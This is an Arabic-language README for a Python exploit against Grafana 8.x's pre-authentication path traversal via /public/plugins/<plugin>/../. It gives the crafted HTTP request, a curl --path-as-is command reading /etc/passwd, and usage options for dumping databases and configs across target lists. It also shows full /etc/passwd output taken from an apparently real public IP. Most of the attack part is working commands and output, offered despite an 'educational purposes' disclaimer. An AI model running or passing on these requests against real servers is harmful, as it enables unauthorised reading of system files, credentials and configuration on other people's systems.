
كود استغلال بلغة بايثون
Grafana 8.x اجتياز المسار (قبل المصادقة) جميع الفضل يعود لـ j0v وتغريدته https://twitter.com/j0v0x0/status/1466845212626542607
هذا لأغراض تعليمية فقط. أنا لست مسؤولاً عن أفعالك. استخدمه على مسؤوليتك الخاصة. بحسن نية، قمت بتأجيل إصدار هذا الإثبات المفاهيمي حتى إما أن تصبح هذه الثغرة عامة أو يتوفر تصحيح.
لاحظت تغريدة من j0v يدعي فيها العثور على ثغرة اجتياز مسار في Grafana. بدافع الفضول، بدأت في النظر إلى الكود المصدري لـ Grafana. في التغريدة، ذُكر أنها ثغرة قبل المصادقة. هناك عدد قليل من نقاط النهاية العامة لواجهة API في Grafana، وواحدة فقط منها كانت تأخذ مسار ملف من المستخدم.
لدى Grafana نقطة نهاية عامة لواجهة API، /public/plugins/:pluginId، والتي تتيح لك عرض أصول إضافة (plugin). يعمل ذلك من خلال توفير :pluginId صالح ثم تحديد مسار الملف، مثل img/logo.png. ومع ذلك، تفشل Grafana في تعقيم مسار الملف المقدم من المستخدم، مما يؤدي إلى اجتياز المسار.
المجلد الذي يتم الوصول إليه هو <grafana>/public/app/plugins/panel/<pluginId>. في تثبيت Grafana القياسي، مجلد بيانات Grafana هو /usr/share/grafana. لذلك بالعودة 8 مجلدات، يمكنك الوصول إلى جذر نظام الملفات.
طلب HTTP:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
الكود المخالف: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
ملاحظة: هذا لا يعمل في المتصفح (الذي يقوم تلقائياً بطي ../ في المسار)
يمكن اختباره باستخدام curl مع الوسيط --path-as-is:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
usage: exploit2.py [-h] [-l INPUT_LIST] [-db] [-cfg] [-c] [-t TARGET] [-f TARGET_FILE] [-w WRITE_FILE] [-v]
optional arguments:
-h, --help show this help message and exit
-l INPUT_LIST, --list INPUT_LIST
Input list of ip:port
-db, --database Dump db
-cfg, --config Dump config
-c, --check Enable output regex checking (Suppress false positives)
-t TARGET, --target TARGET
Single target
-f TARGET_FILE, --file TARGET_FILE
Remote target file
-w WRITE_FILE, --write WRITE_FILE
Directory to write files to.
-v, --verbosity Verbosity
./exploit.py -f /etc/passwd -l targets.list
./exploit.py -f /etc/passwd -l targets.list -db
تفريغ الإعدادات:
./exploit.py -f /etc/passwd -l targets.list -cfg
طباعة الملفات الصالحة فقط:
python3 exploit2.py -t http://50.17.123.83:3000 -c
URL: passwd
PATH: /public/plugins/alertlist/../../../../../../../..//etc/passwd
http://50.17.123.83:3000/public/plugins/alertlist/../../../../../../../..//etc/passwd
Status: 200
Content-type:text/plain; charset=utf-8
SUCCESS: http://50.17.123.83:3000
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
node-exp:x:997:100::/:/usr/sbin/nologin
prometheus:x:996:997::/var/lib/prometheus:/usr/sbin/nologin
alertmanager:x:995:996::/home/alertmanager:/usr/sbin/nologin
grafana:x:113:119::/usr/share/grafana:/bin/false
am-bot:x:994:995::/opt/alertmanager_bot:/usr/sbin/nologin
blackbox-exp:x:993:994::/home/blackbox-exp:/usr/sbin/nologin
pushgateway:x:992:100::/:/usr/sbin/nologin
كتابة الملف إلى مجلد الملفات:
python3 exploit2.py -t http://50.17.123.83:3000 -c -w files